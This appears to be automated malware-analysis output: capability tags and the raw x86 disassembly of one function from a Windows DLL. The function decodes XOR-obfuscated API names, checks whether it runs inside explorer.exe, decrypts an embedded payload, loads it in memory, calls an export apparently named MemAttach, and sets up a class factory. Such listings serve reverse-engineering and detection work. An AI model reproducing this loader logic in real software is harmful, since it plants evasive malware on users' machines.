Function at 0x10001269
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x10014020]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100347ac], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
mov dword [ebp - 0x470], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x474], eax
mov esi, 0x104
je 0x100012f9
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
lea eax, [ebp - 0x25c]
push eax
push 0x1f
push str.ys.tmp
push 0x10011280
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0xd3
push 0x10011288
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x25c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.kernel32
mov dword [ebp - 0x38], 0x5c657456
mov dword [ebp - 0x34], 0x7d64757e
mov dword [ebp - 0x30], 0x7d785774
mov dword [ebp - 0x2c], 0x7c705f74
mov word [ebp - 0x28], 0x4674
mov byte [ebp - 0x26], 0x11
mov dword [ebp - 0x24], 0x79657041
mov dword [ebp - 0x20], 0x757f7857
mov dword [ebp - 0x1c], 0x747d7857
mov dword [ebp - 0x18], 0x747c705f
mov word [ebp - 0x14], 0x1146
call edi
push str.shlwapi
mov dword [ebp - 0x46c], eax
call edi
mov dword [ebp - 0x468], eax
test eax, eax
jne 0x10001376
push str.shlwapi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x468], eax
cmp dword [0x100347ac], 0
je 0x100013ce
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x25c]
push eax
push 0x1f
push str.ys.tmp
push 0x10011280
call edi
push 0xd3
push 0x10011288
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x25c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x100013d4
mov edi, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
xor eax, eax
cmp dword [ebp - 0x46c], eax
je 0x10001672
xor byte [ebp + eax - 0x38], 0x11
inc eax
cmp eax, 0x13
jb 0x100013e2
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x46c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x46c], eax
test eax, eax
je 0x10001672
cmp dword [ebp - 0x468], 0
je 0x10001672
xor eax, eax
xor byte [ebp + eax - 0x24], 0x11
inc eax
cmp eax, 0x12
jb 0x1000141a
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x468], eax
test eax, eax
je 0x10001672
push esi
lea eax, [ebp - 0x464]
push eax
push 0
call dword [ebp - 0x46c]
lea eax, [ebp - 0x464]
push eax
call dword [ebp - 0x468]
cmp dword [0x100347ac], 0
mov dword [ebp - 0x46c], eax
je 0x100014b6
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
lea eax, [ebp - 0x25c]
push eax
push 0x1f
push str.ys.tmp
push 0x10011280
call edi
push 0xd3
push 0x10011288
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x25c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x54], 0x11691174
mov dword [ebp - 0x50], 0x117d1161
mov dword [ebp - 0x4c], 0x1163117e
mov dword [ebp - 0x48], 0x11631174
mov dword [ebp - 0x44], 0x1174113f
mov dword [ebp - 0x40], 0x11741169
mov word [ebp - 0x3c], 0x1111
test ecx, ecx
je 0x10001672
cmp word [ecx], 0
je 0x10001672
xor eax, eax
xor byte [ebp + eax - 0x54], 0x11
inc eax
cmp eax, 0x1a
jb 0x10001500
lea eax, [ebp - 0x54]
push eax
push ecx
call fcn.10005b53
pop ecx
pop ecx
test eax, eax
jne 0x10001672
cmp dword [0x100347b4], eax
jne 0x10001672
push 0x1ea00
call fcn.100042f3
mov dword [esp], 0x1ea00
push 0x10014d10
push eax
mov dword [ebp - 0x468], eax
call fcn.10006160
add esp, 0xc
xor ecx, ecx
mov eax, dword [ebp - 0x468]
xor byte [eax + ecx], 0x3b
inc ecx
cmp ecx, 0x1ea00
jb 0x10001552
test eax, eax
je 0x10001672
cmp dword [0x100347ac], 0
je 0x100015bd
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
lea eax, [ebp - 0x25c]
push eax
push 0x1f
push str.ys.tmp
push 0x10011280
call edi
push 0xd3
push 0x10011288
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x25c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push dword [ebp - 0x468]
call fcn.1000cc80
pop ecx
mov dword [0x100347b4], eax
test eax, eax
je 0x10001666
cmp dword [0x100347ac], 0
je 0x10001626
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
lea eax, [ebp - 0x25c]
push eax
push 0x1f
push str.ys.tmp
push 0x10011280
call edi
push 0xd3
push 0x10011288
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x25c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x10], 0x507c745c
mov dword [ebp - 0xc], 0x72706565
mov word [ebp - 8], 0x1179
xor eax, eax
xor byte [ebp + eax - 0x10], 0x11
inc eax
cmp eax, 0xa
jb 0x1000163c
lea eax, [ebp - 0x10]
push eax
push dword [0x100347b4]
call fcn.1000c310
pop ecx
pop ecx
test eax, eax
je 0x10001666
push 0xb
push dword [0x100347b8]
call eax
push dword [ebp - 0x468]
call fcn.100043ea
pop ecx
push dword [ebp - 0x474]
push dword [ebp - 0x470]
push dword [ebp - 0x478]
call fcn.10001972
mov dword [ebp - 0x46c], eax
cmp eax, 0x80040111
jne 0x10001757
cmp dword [0x100347ac], 0
je 0x100016ea
push esi
lea eax, [ebp - 0x25c]
push eax
call ebx
lea eax, [ebp - 0x25c]
push eax
push 0x1f
push str.ys.tmp
push 0x10011280
call edi
push 0xd3
push 0x10011288
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x25c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 8
call fcn.10005949
pop ecx
test eax, eax
je 0x1000170d
inc dword [0x100347b0]
mov dword [eax], vtable.CHashClassFactory.0
mov dword [eax + 4], 1
mov esi, eax
jmp 0x1000170f
xor esi, esi
push 0x10
push 0x1000f1c0
push dword [ebp - 0x470]
call fcn.100043f5
add esp, 0xc
test eax, eax
je 0x10001741
push 0x10
push 0x1001137c
push dword [ebp - 0x470]
call fcn.100043f5
add esp, 0xc
test eax, eax
jne 0x10001757
mov eax, dword [ebp - 0x474]
and dword [0x10033710], 0
and dword [ebp - 0x46c], 0
mov dword [eax], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x46c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004309
leave
ret 0xc